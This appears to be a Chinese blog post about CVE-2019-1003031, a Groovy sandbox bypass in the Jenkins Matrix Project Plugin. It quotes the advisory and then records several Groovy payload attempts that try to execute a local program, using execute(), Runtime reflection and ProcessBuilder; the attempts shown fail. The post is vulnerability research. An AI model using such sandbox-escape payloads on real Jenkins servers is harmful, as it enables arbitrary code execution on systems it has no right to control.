CVE-2019-1003031:Matrix Project Plugin sandbox绕过

213 篇文章 3 订阅

影响版本:Matrix Project Plugin <= 1.13
修复建议:升级到1.14或以上
来源:
https://nvd.nist.gov/vuln/detail/CVE-2019-1003031
在这里插入图片描述
官方公告描述:

Matrix Project Plugin supports a sandboxed Groovy expression to filter matrix combinations. Its sandbox protection could be circumvented during parsing, compilation, and script instantiation by providing a crafted Groovy script.
This allowed users able to configure a Matrix project to bypass the sandbox protection and execute arbitrary code on the Jenkins master.

https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339
中文描述可以参考cnnvd:
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201903-299
插件官方diff:
https://github.com/jenkinsci/matrix-project-plugin/commit/765fc39694b31f8dd6e3d27cf51d1708b5df2be7
在这里插入图片描述
参考:
https://plugins.jenkins.io/matrix-project
https://wiki.jenkins.io/display/JENKINS/Building+a+matrix+project
https://wiki.jenkins.io/display/JENKINS/Script+Security+Plugin
Groovy脚本参考:
https://issues.jenkins-ci.org/browse/JENKINS-49350

在这里插入图片描述

先是使用payload:

(label=="solaris").implies(compiler=="/Applications/Calculator.app/Contents/MacOS/Calculator".execute().text)

然后得到:

No such property: label for class: groovy.lang.Binding

在这里插入图片描述
然后使用payload:

println "/Applications/Calculator.app/Contents/MacOS/Calculator".execute().text

得到
在这里插入图片描述
又尝试了

("".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("/Applications/Calculator.app/Contents/MacOS/Calculator"))==""

(new java.lang.ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator").start())==""

依然不可以:
在这里插入图片描述
然后google了一下,找到这些答案:


剩下的参考:
https://xz.aliyun.com/t/5270

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值